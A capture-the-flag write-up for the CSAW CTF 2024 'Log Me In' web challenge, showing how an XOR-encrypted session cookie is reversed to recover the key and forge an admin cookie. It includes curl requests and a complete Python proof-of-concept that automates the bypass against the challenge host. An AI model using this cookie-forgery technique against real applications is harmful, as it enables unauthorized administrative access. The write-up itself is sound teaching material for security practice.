CSAW CTF 2024 - Writeups

Table of Contents

Web/Log Me In

I (definitely did not) have found this challenge in the OSIRIS recruit repository author: nikobelic29

The challenge have three routes:

  • /register -> create an account
    • POST - username, password, displayname
  • /login -> login to the account
    • POST - username, password
  • /user -> user panel that shows user information
    • GET - Cookies[info]

Our goal is to login as admin user, and for that we need to somehow set the uid value to 0 and visit /user to see the flag. By default, when we register a new account the uid value is set as 1. And we cannot try SQLi, because regex matching is done on the username and displayname input using this function:

def is_alphanumeric(text):
    pattern = r'^[a-zA-Z0-9]+$'
    if re.match(pattern, text):
        return True
    else:
        return False

For the same reason we can’t also try SSTI on displayname.

Another thing we can check for is how the application creates the cookie value, and see if can craft our own cookie with uid = 0. In utils.py this encode function is used to create the cookie value.

def encode(status: dict) -> str:
    try:
        plaintext = json.dumps(status).encode()
        out = b''
        for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
            out += bytes([i^j])
        return bytes.hex(out)
    except Exception as s:
        LOG(s)
        return None

It requires a dictionary as its input and performs xor with an ENCRYPT_KEY present in the environment variable and outputs the value in hex.

Since XOR is a self-inverse function, if we have two known values we can easily find the third one by reversing the operation. For example suppose:

a ^ b = c

and we know the values of b and c then we can find the value of a by performing XOR with b and c

b ^ c = a

Using this property we can easily find the value of ENCRYPT_KEY by performing XOR with the cookie with its equivalent string value.

Exploit

Register a new account

curl -XPOST 'https://logmein1.ctf.csaw.io/register' --data 'username=h4r1337&password=test&displayname=abcd' -ik

Login using the credentials and get the cookie

curl -XPOST 'https://logmein1.ctf.csaw.io/login' --data 'username=h4r1337&password=test' -ik
HTTP/1.1 200 OK
Server: gunicorn
Date: Sun, 08 Sep 2024 10:49:18 GMT
Connection: close
Content-Type: application/json
Content-Length: 31
Set-Cookie: info=48674c3731025651282f614a4d541e661609415475434f5755530007243e520a141b5751653f1d0b0549587a6d051b1c63746a5825; Expires=Sun, 08 Sep 2024 11:49:18 GMT; Max-Age=3600; HttpOnly; Path=/

{"message":"Login successful"}

Find the value of ENCRYPT_KEY

import json
cookie = '48674c3731025651282f614a4d541e661609415475434f5755530007243e520a141b5751653f1d0b0549587a6d051b1c63746a5825'
user = {
		'username': 'h4r1337',
		'displays': 'test',
		'uid': 1
}
user_plaintext = json.dumps(user).encode()
out = b''
for i, j in zip(user_plaintext, bytes.fromhex(cookie)):
	out += bytes([i^j])
print(out)

Use this to craft a new cookie with uid = 0

admin = {
	'uid': 0,
	'displays': 'admin'
}
admin_plaintext = json.dumps(admin).encode()
admin_cookie = b''
for i,j in zip(admin_plaintext, out):
	admin_cookie += bytes([i^j])
print(bytes.hex(admin_cookie))

Now go to /user and change the cookie to see the flag:

Full POC:

import json
import re
import sys
import requests

url = 'https://logmein1.ctf.csaw.io'

def register(username: str, password: str, displays: str) -> bool:
    print("[+] Creating Account")
    data = {
        'username': username,
        'password': password,
        'displayname': displays
    }
    response = requests.post(url=url+'/register', data=data)

    if response.status_code == 201:
        return True
    else:
        return False

def get_cookie(username: str, password: str) -> str | None:
    print("[+] Retrieving Cookie")
    data = {
        'username': username,
        'password': password,
    }
    response = requests.post(url=url+'/login', data=data)
    
    if response.status_code != 200:
        return
    
    cookie = response.cookies['info']
    return cookie

def find_encryption_key(user: dict, cookie: str) -> str:
    print("[+] Finding Encryption Key")
    user_plaintext = json.dumps(user).encode()
    out = b''
    for i, j in zip(user_plaintext, bytes.fromhex(cookie)):
        out += bytes([i^j])

    return out.decode()

def create_admin_cookie(enctiption_key: str) -> str:
    print("[+] Creating Admin Cookie")
    admin = {
    	'uid': 0,
    	'displays': 'admin'
    }
    admin_plaintext = json.dumps(admin).encode()
    admin_cookie = b''
    for i,j in zip(admin_plaintext, enctiption_key.encode()):
        admin_cookie += bytes([i^j])

    return bytes.hex(admin_cookie)

def get_flag(admin_cookie: str) -> str | None:
    print("[+] Retrieving Flag")
    cookies = {'info': admin_cookie}
    response = requests.get(url=url+'/user', cookies=cookies)

    if response.status_code != 200:
        return 

    pattern = r'csawctf\{.*?\}'
    match = re.search(pattern, response.text)
    if match:
        return match.group(0)

if __name__ == "__main__":

    user = {
    	'username': 'h4r1337',
    	'displays': 'test',
    	'uid': 1
    }
    if not register('h4r1337', 'test', 'test'):
        print("Error creating account")
        sys.exit(1)

    cookie = get_cookie('h4r1337', 'test')
    if not cookie:
        print("Error logging in")
        sys.exit(1)

    encryption_key = find_encryption_key(user, cookie)
    admin_cookie = create_admin_cookie(encryption_key)

    flag = get_flag(admin_cookie)
    if flag:
        print(f"[*] Found Flag: {flag}")
        sys.exit(0)
    else:
        print("Error")
        sys.exit(1)